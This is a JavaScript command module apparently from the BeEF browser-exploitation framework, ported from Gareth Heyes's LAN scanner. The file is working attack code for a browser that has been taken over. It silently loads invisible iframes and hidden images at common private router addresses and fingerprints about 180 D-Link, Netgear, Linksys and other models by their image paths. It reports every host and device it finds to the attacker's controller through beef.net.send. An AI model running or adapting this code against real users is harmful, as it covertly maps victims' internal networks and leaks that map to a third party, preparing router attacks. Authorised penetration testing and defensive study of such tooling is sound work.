Path: blob/master/modules/network/jslanscanner/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//5// Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js67beef.execute(function() {89if(!beef.browser.isFF() && !beef.browser.isS()){10beef.debug("[command #<%= @command_id %>] Browser is not supported.");11beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());12return;13}1415//------------------------------------------------------------------------------------------16// LAN SCANNER created by Gareth Heyes (gareth at businessinfo co uk)17// Blog: www.thespanner.co.uk18// Labs site : www.businessinfo.co.uk19// Version 2.120//------------------------------------------------------------------------------------------2122/* Copyright 2007 Gareth Heyes (email : gareth[at]NOSPAM businessinfo(dot)(co)(dot)uk2324This program is free software; you can redistribute it and/or modify25it under the terms of the GNU General Public License as published by26the Free Software Foundation; either version 2 of the License, or27(at your option) any later version.2829This program is distributed in the hope that it will be useful,30but WITHOUT ANY WARRANTY; without even the implied warranty of31MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the32GNU General Public License for more details.3334You should have received a copy of the GNU General Public License35along with this program; if not, write to the Free Software36Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA37*/3839var devices = [40{make:'DLink',model:'dgl4100',graphic:'/html/images/dgl4100.jpg'},41{make:'DLink',model:'dgl4300',graphic:'/html/images/dgl4300.jpg'},42{make:'DLink',model:'di524',graphic:'/html/images/di524.jpg'},43{make:'DLink',model:'di624',graphic:'/html/images/di624.jpg'},44{make:'DLink',model:'di624s',graphic:'/html/images/di624s.jpg'},45{make:'DLink',model:'di724gu',graphic:'/html/images/di724gu.jpg'},46{make:'DLink',model:'dilb604',graphic:'/html/images/dilb604.jpg'},47{make:'DLink',model:'dir130',graphic:'/html/images/dir130.jpg'},48{make:'DLink',model:'dir330',graphic:'/html/images/dir330.jpg'},49{make:'DLink',model:'dir450',graphic:'/html/images/dir450.jpg'},50{make:'DLink',model:'dir451',graphic:'/html/images/dir451.jpg'},51{make:'DLink',model:'dir615',graphic:'/html/images/dir615.jpg'},52{make:'DLink',model:'dir625',graphic:'/html/images/dir625.jpg'},53{make:'DLink',model:'dir635',graphic:'/html/images/dir635.jpg'},54{make:'DLink',model:'dir655',graphic:'/html/images/dir655.jpg'},55{make:'DLink',model:'dir660',graphic:'/html/images/dir660.jpg'},56{make:'DLink',model:'ebr2310',graphic:'/html/images/ebr2310.jpg'},57{make:'DLink',model:'kr1',graphic:'/html/images/kr1.jpg'},58{make:'DLink',model:'tmg5240',graphic:'/html/images/tmg5240.jpg'},59{make:'DLink',model:'wbr1310',graphic:'/html/images/wbr1310.jpg'},60{make:'DLink',model:'wbr2310',graphic:'/html/images/wbr2310.jpg'},61{make:'DLink',model:'dsl604',graphic:'/html/images/dsl604.jpg'},62{make:'DLink',model:'dsl2320b',graphic:'/html/images/dsl2320b.jpg'},63{make:'DLink',model:'dsl2540b',graphic:'/html/images/dsl2540b.jpg'},64{make:'DLink',model:'dsl2640b',graphic:'/html/images/dsl2640b.jpg'},65{make:'DLink',model:'dsl302g',graphic:'/html/images/dsl302g.jpg'},66{make:'DLink',model:'dsl502g',graphic:'/html/images/dsl502g.jpg'},67{make:'DLink',model:'dgl3420',graphic:'/html/images/dgl3420.jpg'},68{make:'DLink',model:'dwl2100ap',graphic:'/html/images/dwl2100ap.jpg'},69{make:'DLink',model:'dwl2130ap',graphic:'/html/images/dwl2130ap.jpg'},70{make:'DLink',model:'dwl2200ap',graphic:'/html/images/dwl2200ap.jpg'},71{make:'DLink',model:'dwl2230ap',graphic:'/html/images/dwl2230ap.jpg'},72{make:'DLink',model:'dwl2700ap',graphic:'/html/images/dwl2700ap.jpg'},73{make:'DLink',model:'dwl3200ap',graphic:'/html/images/dwl3200ap.jpg'},74{make:'DLink',model:'dwl7100ap',graphic:'/html/images/dwl7100ap.jpg'},75{make:'DLink',model:'dwl7130ap',graphic:'/html/images/dwl7130ap.jpg'},76{make:'DLink',model:'dwl7200ap',graphic:'/html/images/dwl7200ap.jpg'},77{make:'DLink',model:'dwl7230ap',graphic:'/html/images/dwl7230ap.jpg'},78{make:'DLink',model:'dwl7700ap',graphic:'/html/images/dwl7700ap.jpg'},79{make:'DLink',model:'dwl8200ap',graphic:'/html/images/dwl8200ap.jpg'},80{make:'DLink',model:'dwl8220ap',graphic:'/html/images/dwl8220ap.jpg'},81{make:'DLink',model:'dwlag132',graphic:'/html/images/dwlag132.jpg'},82{make:'DLink',model:'dwlag530',graphic:'/html/images/dwlag530.jpg'},83{make:'DLink',model:'dwlag660',graphic:'/html/images/dwlag660.jpg'},84{make:'DLink',model:'dwlag700ap',graphic:'/html/images/dwlag700ap.jpg'},85{make:'DLink',model:'dwlg120',graphic:'/html/images/dwlg120.jpg'},86{make:'DLink',model:'dwlg122',graphic:'/html/images/dwlg122.jpg'},87{make:'DLink',model:'dwlg132',graphic:'/html/images/dwlg132.jpg'},88{make:'DLink',model:'dwlg510',graphic:'/html/images/dwlg510.jpg'},89{make:'DLink',model:'dwlg520',graphic:'/html/images/dwlg520.jpg'},90{make:'DLink',model:'dwlg520m',graphic:'/html/images/dwlg520m.jpg'},91{make:'DLink',model:'dwlg550',graphic:'/html/images/dwlg550.jpg'},92{make:'DLink',model:'dwlg630',graphic:'/html/images/dwlg630.jpg'},93{make:'DLink',model:'dwlg650',graphic:'/html/images/dwlg650.jpg'},94{make:'DLink',model:'dwlg650m',graphic:'/html/images/dwlg650m.jpg'},95{make:'DLink',model:'dwlg680',graphic:'/html/images/dwlg680.jpg'},96{make:'DLink',model:'dwlg700ap',graphic:'/html/images/dwlg700ap.jpg'},97{make:'DLink',model:'dwlg710',graphic:'/html/images/dwlg710.jpg'},98{make:'DLink',model:'dwlg730ap',graphic:'/html/images/dwlg730ap.jpg'},99{make:'DLink',model:'dwlg820',graphic:'/html/images/dwlg820.jpg'},100{make:'DLink',model:'wda1320',graphic:'/html/images/wda1320.jpg'},101{make:'DLink',model:'wda2320',graphic:'/html/images/wda2320.jpg'},102{make:'DLink',model:'wna1330',graphic:'/html/images/wna1330.jpg'},103{make:'DLink',model:'wna2330',graphic:'/html/images/wna2330.jpg'},104{make:'DLink',model:'wua1340',graphic:'/html/images/wua1340.jpg'},105{make:'DLink',model:'wua2340',graphic:'/html/images/wua2340.jpg'},106{make:'DLink',model:'DSL502T',graphic:'/html/images/help_p.jpg'},107{make:'DLink',model:'DSL524T',graphic:'/html/images/device.gif'},108{make:'Netgear',model:'CG814WG',graphic:'/images/../settingsCG814WG.gif'},109{make:'Netgear',model:'CM212',graphic:'/images/../settingsCM212.gif'},110{make:'Netgear',model:'DG632',graphic:'/images/../settingsDG632.gif'},111{make:'Netgear',model:'DG632B',graphic:'/images/../settingsDG632B.gif'},112{make:'Netgear',model:'DG814',graphic:'/images/../settingsDG814.gif'},113{make:'Netgear',model:'DG824M',graphic:'/images/../settingsDG824M.gif'},114{make:'Netgear',model:'DG834',graphic:'/images/../settingsDG834.gif'},115{make:'Netgear',model:'DG834B',graphic:'/images/../settingsDG834B.gif'},116{make:'Netgear',model:'DG834G',graphic:'/images/../settingsDG834G.gif'},117{make:'Netgear',model:'DG834GB',graphic:'/images/../settingsDG834GB.gif'},118{make:'Netgear',model:'DG834GT',graphic:'/images/../settingsDG834GT.gif'},119{make:'Netgear',model:'DG834GTB',graphic:'/images/../settingsDG834GTB.gif'},120{make:'Netgear',model:'DG834GV',graphic:'/images/../settingsDG834GV.gif'},121{make:'Netgear',model:'dg834N',graphic:'/images/../settingsdg834N.gif'},122{make:'Netgear',model:'DG834PN',graphic:'/images/../settingsDG834PN.gif'},123{make:'Netgear',model:'DGFV338',graphic:'/images/../settingsDGFV338.gif'},124{make:'Netgear',model:'DM111P',graphic:'/images/../settingsDM111P.gif'},125{make:'Netgear',model:'DM602',graphic:'/images/../settingsDM602.gif'},126{make:'Netgear',model:'FM114P',graphic:'/images/../settingsFM114P.gif'},127{make:'Netgear',model:'FR114P',graphic:'/images/../settingsFR114P.gif'},128{make:'Netgear',model:'FR114W',graphic:'/images/../settingsFR114W.gif'},129{make:'Netgear',model:'FR314',graphic:'/images/../settingsFR314.gif'},130{make:'Netgear',model:'FR318',graphic:'/images/../settingsFR318.gif'},131{make:'Netgear',model:'FR328S',graphic:'/images/../settingsFR328S.gif'},132{make:'Netgear',model:'FV318',graphic:'/images/../settingsFV318.gif'},133{make:'Netgear',model:'FVG318',graphic:'/images/../settingsFVG318.gif'},134{make:'Netgear',model:'FVL328',graphic:'/images/../settingsFVL328.gif'},135{make:'Netgear',model:'FVM318',graphic:'/images/../settingsFVM318.gif'},136{make:'Netgear',model:'FVS114',graphic:'/images/../settingsFVS114.gif'},137{make:'Netgear',model:'FVS124G',graphic:'/images/../settingsFVS124G.gif'},138{make:'Netgear',model:'FVS318',graphic:'/images/../settingsFVS318.gif'},139{make:'Netgear',model:'FVS328',graphic:'/images/../settingsFVS328.gif'},140{make:'Netgear',model:'FVS338',graphic:'/images/../settingsFVS338.gif'},141{make:'Netgear',model:'FVX538',graphic:'/images/../settingsFVX538.gif'},142{make:'Netgear',model:'FWAG114',graphic:'/images/../settingsFWAG114.gif'},143{make:'Netgear',model:'FWG114P',graphic:'/images/../settingsFWG114P.gif'},144{make:'Netgear',model:'GA302T',graphic:'/images/../settingsGA302T.gif'},145{make:'Netgear',model:'GA311',graphic:'/images/../settingsGA311.gif'},146{make:'Netgear',model:'GA511',graphic:'/images/../settingsGA511.gif'},147{make:'Netgear',model:'GA620',graphic:'/images/../settingsGA620.gif'},148{make:'Netgear',model:'GA621',graphic:'/images/../settingsGA621.gif'},149{make:'Netgear',model:'GA622T',graphic:'/images/../settingsGA622T.gif'},150{make:'Netgear',model:'HE102',graphic:'/images/../settingsHE102.gif'},151{make:'Netgear',model:'HR314',graphic:'/images/../settingsHR314.gif'},152{make:'Netgear',model:'JFS516',graphic:'/images/../settingsJFS516.gif'},153{make:'Netgear',model:'JFS524',graphic:'/images/../settingsJFS524.gif'},154{make:'Netgear',model:'JFS524F',graphic:'/images/../settingsJFS524F.gif'},155{make:'Netgear',model:'JGS516',graphic:'/images/../settingsJGS516.gif'},156{make:'Netgear',model:'JGS524',graphic:'/images/../settingsJGS524.gif'},157{make:'Netgear',model:'JGS524F',graphic:'/images/../settingsJGS524F.gif'},158{make:'Netgear',model:'KWGR614',graphic:'/images/../settingsKWGR614.gif'},159{make:'Netgear',model:'ME101',graphic:'/images/../settingsME101.gif'},160{make:'Netgear',model:'ME102',graphic:'/images/../settingsME102.gif'},161{make:'Netgear',model:'ME103',graphic:'/images/../settingsME103.gif'},162{make:'Netgear',model:'MR314',graphic:'/images/../settingsMR314.gif'},163{make:'Netgear',model:'MR814',graphic:'/images/../settingsMR814.gif'},164{make:'Netgear',model:'RH340',graphic:'/images/../settingsRH340.gif'},165{make:'Netgear',model:'RH348',graphic:'/images/../settingsRH348.gif'},166{make:'Netgear',model:'RM356',graphic:'/images/../settingsRM356.gif'},167{make:'Netgear',model:'RO318',graphic:'/images/../settingsRO318.gif'},168{make:'Netgear',model:'RP114',graphic:'/images/../settingsRP114.gif'},169{make:'Netgear',model:'RP334',graphic:'/images/../settingsRP334.gif'},170{make:'Netgear',model:'RP614',graphic:'/images/../settingsRP614.gif'},171{make:'Netgear',model:'RT311',graphic:'/images/../settingsRT311.gif'},172{make:'Netgear',model:'RT314',graphic:'/images/../settingsRT314.gif'},173{make:'Netgear',model:'RT328',graphic:'/images/../settingsRT328.gif'},174{make:'Netgear',model:'RT338',graphic:'/images/../settingsRT338.gif'},175{make:'Netgear',model:'WAB102',graphic:'/images/../settingsWAB102.gif'},176{make:'Netgear',model:'WAG102',graphic:'/images/../settingsWAG102.gif'},177{make:'Netgear',model:'WAG302',graphic:'/images/../settingsWAG302.gif'},178{make:'Netgear',model:'WAGL102',graphic:'/images/../settingsWAGL102.gif'},179{make:'Netgear',model:'WAGR614',graphic:'/images/../settingsWAGR614.gif'},180{make:'Netgear',model:'WG102',graphic:'/images/../settingsWG102.gif'},181{make:'Netgear',model:'WG111',graphic:'/images/../settingsWG111.gif'},182{make:'Netgear',model:'WG111T',graphic:'/images/../settingsWG111T.gif'},183{make:'Netgear',model:'WG302',graphic:'/images/../settingsWG302.gif'},184{make:'Netgear',model:'WG311',graphic:'/images/../settingsWG311.gif'},185{make:'Netgear',model:'WG602',graphic:'/images/../settingsWG602.gif'},186{make:'Netgear',model:'WGE101',graphic:'/images/../settingsWGE101.gif'},187{make:'Netgear',model:'WGE111',graphic:'/images/../settingsWGE111.gif'},188{make:'Netgear',model:'WGL102',graphic:'/images/../settingsWGL102.gif'},189{make:'Netgear',model:'WGM124',graphic:'/images/../settingsWGM124.gif'},190{make:'Netgear',model:'WGR101',graphic:'/images/../settingsWGR101.gif'},191{make:'Netgear',model:'WGR614',graphic:'/images/../settingsWGR614.gif'},192{make:'Netgear',model:'WGT624',graphic:'/images/../settingsWGT624.gif'},193{make:'Netgear',model:'WGT624SC',graphic:'/images/../settingsWGT624SC.gif'},194{make:'Netgear',model:'WGT634U',graphic:'/images/../settingsWGT634U.gif'},195{make:'Netgear',model:'WGU624',graphic:'/images/../settingsWGU624.gif'},196{make:'Netgear',model:'WGX102',graphic:'/images/../settingsWGX102.gif'},197{make:'Netgear',model:'WN121T',graphic:'/images/../settingsWN121T.gif'},198{make:'Netgear',model:'WN311B',graphic:'/images/../settingsWN311B.gif'},199{make:'Netgear',model:'WN311T',graphic:'/images/../settingsWN311T.gif'},200{make:'Netgear',model:'WN511B',graphic:'/images/../settingsWN511B.gif'},201{make:'Netgear',model:'WN511T',graphic:'/images/../settingsWN511T.gif'},202{make:'Netgear',model:'WN802T',graphic:'/images/../settingsWN802T.gif'},203{make:'Netgear',model:'WNR834B',graphic:'/images/../settingsWNR834B.gif'},204{make:'Netgear',model:'WNR834M',graphic:'/images/../settingsWNR834M.gif'},205{make:'Netgear',model:'WNR854T',graphic:'/images/../settingsWNR854T.gif'},206{make:'Netgear',model:'WPN802',graphic:'/images/../settingsWPN802.gif'},207{make:'Netgear',model:'WPN824',graphic:'/images/../settingsWPN824.gif'},208{make:'Netgear',model:'XM128',graphic:'/images/../settingsXM128.gif'},209{make:'Thomson',model:'Cable Modem A801',graphic:'/images/thomson.gif'},210{make:'Vigor',model:'2600V',graphic:'/images/logo1.jpg'},211{make:'Linksys',model:'WRT54GL',graphic:'/WRT56GL.gif'},212{make:'Linksys',model:'WRT54GC',graphic:'/UI_Linksys.gif'},213{make:'Linksys',model:'WRT54G',graphic:'/WRT54G.gif'},214{make:'Linksys',model:'WRT54GS',graphic:'/UILinksys.gif'},215{make:'ZyXEL',model:'Prestige 660H61',graphic:'/dslroutery/imgshop/full/NETZ1431.jpg'},216{make:'ZyXEL',model:'Zywall',graphic:'/images/Logo.gif'},217{make:'Sitecom',model:'WL114',graphic:'/slogo.gif'},218{make:'2Wire',model:'1000 Series',graphic:'/base/web/def/def/images/nav_sl_logo.gif'},219{make:'SurfinBird',model:'313',graphic:'/images/help_p.gif'},220{make:'SMC',model:'7004ABR',graphic:'/images/logo.gif'},221{make:'DLink',model:'DI524',graphic:'/m524.gif'},222{make:'Cisco',model:'2600',graphic:'/images/logo.png'},223{make:'ASUS',model:'RX Series',graphic:'/images/banner_sys4bg.gif'},224{make:'ASUS',model:'RT Series',graphic:'/images/EZSetup_button.gif'}225];226227// No signatures for commented out IPs228var ips = [229{ip:'192.168.1.30',make:'DLink'},230{ip:'192.168.1.50',make:'DLink'},231{ip:'192.168.2.1',make:'SMC'},232//{ip:'192.168.2.1',make:'Accton'},233//{ip:'192.168.1.1',make:'3Com'},234//{ip:'192.168.1.1',make:'AirLink'},235//{ip:'192.168.1.1',make:'Arescom'},236//{ip:'192.168.1.1',make:'Teletronics'},237//{ip:'192.168.1.1',make:'Dell'},238{ip:'192.168.1.1',make:'DLink'},239{ip:'192.168.1.1',make:'Linksys'},240{ip:'192.168.1.1',make:'ZyXEL'},241{ip:'192.168.1.1',make:'ASUS'},242{ip:'192.168.0.1',make:'DLink'},243{ip:'192.168.0.1',make:'Netgear'},244{ip:'192.168.0.1',make:'Linksys'},245{ip:'192.168.0.1',make:'SurfinBird'},246{ip:'192.168.0.1',make:'ASUS'},247{ip:'192.168.0.227',make:'Netgear'},248{ip:'192.168.0.254',make:'DLink'},249{ip:'192.168.1.225',make:'Linksys'},250{ip:'192.168.1.226',make:'Linksys'},251{ip:'192.168.1.245',make:'Linksys'},252{ip:'192.168.1.246',make:'Linksys'},253{ip:'192.168.1.251',make:'Linksys'},254{ip:'192.168.100.1',make:'Thomson'},255{ip:'192.168.1.254',make:'ZyXEL'},256{ip:'192.168.1.254',make:'2Wire'},257{ip:'192.168.0.1',make:'Vigor'},258{ip:'192.168.123.254',make:'Sitecom'},259//{ip:'10.0.1.1',make:'Apple'},260{ip:'10.1.1.1',make:'DLink'},261{ip:'10.0.0.1',make:'ZyXEL'},262//{ip:'10.0.0.2',make:'Aceex'},263//{ip:'10.0.0.2',make:'Bausch'},264//{ip:'10.0.0.2',make:'E-Tech'},265//{ip:'10.0.0.2',make:'JAHT'},266{ip:'192.168.1.254',make:'2Wire'},267{ip:'192.168.65.1',make:'Cisco'}268//{ip:'192.168.100.1',make:'Motorola'},269//{ip:'192.168.100.1',make:'Ambit'},270];271272var guesses = [273{host:'10.1.1.1',label:'Device',labelText:'DLink',port:80},274{host:'10.0.0.1',label:'Device',labelText:'ZyXEL',port:80},275{host:'10.0.0.2',label:'Device',labelText:'Aceex,Bausch,E-Tech,JAHT',port:80},276{host:'10.0.0.138',label:'Device',labelText:'Alcatel',port:80},277{host:'10.0.1.1',label:'Device',labelText:'Apple',port:80},278{host:'192.168.0.1',label:'Device',labelText:'DLink,Netgear,ASUS,Linksys,Sitecom,Belkin',port:80},279{host:'192.168.0.227',label:'Device',labelText:'Netgear',port:80},280{host:'192.168.0.254',label:'Device',labelText:'DLink,Sitecom/Linux IP Cop',port:80},281{host:'192.168.1.1',label:'Device',labelText:'3Com,AirLink,Linksys,Arescom,ASUS,Dell,DLink,ZyXEL,Teletronics',port:80},282{host:'192.168.1.30',label:'Device',labelText:'DLink',port:80},283{host:'192.168.1.50',label:'Device',labelText:'DLink,Linksys',port:80},284{host:'192.168.1.225',label:'Device',labelText:'Linksys',port:80},285{host:'192.168.1.226',label:'Device',labelText:'Linksys',port:80},286{host:'192.168.1.245',label:'Device',labelText:'Linksys',port:80},287{host:'192.168.1.246',label:'Device',labelText:'Linksys',port:80},288{host:'192.168.1.251',label:'Device',labelText:'Linksys',port:80},289{host:'192.168.1.254',label:'Device',labelText:'ZyXEL',port:80},290{host:'192.168.2.1',label:'Device',labelText:'Accton,Belkin,Microsoft,SMC',port:80},291{host:'192.168.2.25',label:'Device',labelText:'SMC',port:80},292{host:'192.168.8.1',label:'Device',labelText:'Aceex',port:80},293{host:'192.168.11.1',label:'Device',labelText:'Buffalo',port:80},294{host:'192.168.62.1',label:'Device',labelText:'Canyon',port:80},295{host:'192.168.100.1',label:'Device',labelText:'Ambit,Thomson,Motorola',port:80},296{host:'192.168.123.254',label:'Device',labelText:'US Robotics',port:80},297{host:'192.168.123.254',label:'Device',labelText:'Sitecom',port:80},298{host:'192.168.254.254',label:'Device',labelText:'Flowpoint',port:80},299{host:'192.168.254.1',label:'Device',labelText:'BT M5861,2Wire',port:80}300];301302lanScanner = {timeout:1,probes:0};303//lol pardon the innuendo304lanScanner.handleProbe = function(portObj) {305if(portObj.init == 1) {306lanScanner.addDevice({host:portObj.host,make:portObj.make,model:portObj.model});307document.body.removeChild(portObj);308}309}310// ie sucks! onload doesn't work unless specified directly in the document311// that's why I have to do this :(312lanScanner.handleConnection = function(portObj) {313if(portObj.init == 1) {314if(beef.browser.isIE()) {315portObj.end = new Date().getTime();316if(portObj.end - portObj.start > 15000) {317document.body.removeChild(portObj);318return false;319}320}321var obj = portObj.store;322obj.status = 'Open';323lanScanner.addHost(obj);324document.body.removeChild(portObj);325} else {326portObj.start = new Date().getTime();327}328}329lanScanner.runScan = function() {330var obj, portObj;331guessesLen = guesses.length;332for(var i=0;i<guessesLen;i++) {333obj = guesses[i];334currentPort = obj.port;335currentAddress = obj.host+':'+currentPort;336beef.debug("[JS LAN Scanner] Connecting to: " + currentAddress);337portObj = document.getElementById('connection'+i);338portObj.src = 'http://'+currentAddress;339portObj.store = obj;340portObj.init = 1;341document.body.appendChild(portObj);342}343}344lanScanner.getPortName = function(port) {345var portNames = {'HTTP Server':80,'FTP Server':21};346for(var i in portNames) {347if(portNames[i] == port) {348return i;349}350}351return 'Unknown';352}353lanScanner.addHost = function(obj) {354this.timeout = 0;355beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]");356beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success());357lanScanner.fingerPrint(obj.host);358}359lanScanner.addDevice = function(obj) {360beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']');361beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success());362}363lanScanner.destroyConnections = function() {364var guessesLen = guesses.length;365for(var f=0;f<guessesLen;f++) {366document.body.removeChild(document.getElementById('connection'+f));367}368}369lanScanner.fingerPrint = function(address) {370var make,fingerprint;371for(var i=0;i<ips.length;i++) {372if(ips[i].ip == address) {373make = ips[i].make;374for(var k=0;k<devices.length;k++) {375if(devices[k].make == make) {376var img = new Image();377img.setAttribute("style","visibility:hidden");378img.setAttribute("width","0");379img.setAttribute("height","0");380img.id = 'probe'+this.probes;381img.name = 'probe'+this.probes;382img.onerror = function() { document.body.removeChild(this); }383img.onload = function() { lanScanner.handleProbe(this); }384img.init = 1;385img.model = devices[k].model;386img.make = make;387img.host = address;388img.src = 'http://' + address + devices[k].graphic;389this.probes++;390document.body.appendChild(img);391}392}393}394}395}396397var guessesLen = guesses.length;398for(var f=0;f<guessesLen;f++) {399var iframe = beef.dom.createInvisibleIframe();400iframe.name = "connection"+f;401iframe.id = "connection"+f;402iframe.onload = function() {403lanScanner.handleConnection(this);404}405}406beef.debug("[JS LAN Scanner] Starting scan ("+guessesLen+" IPs)");407beef.net.send("<%= @command_url %>", <%= @command_id %>, "Starting scan ("+guessesLen+" IPs)");408lanScanner.runScan();409//lanScanner.destroyConnections();410});411412413414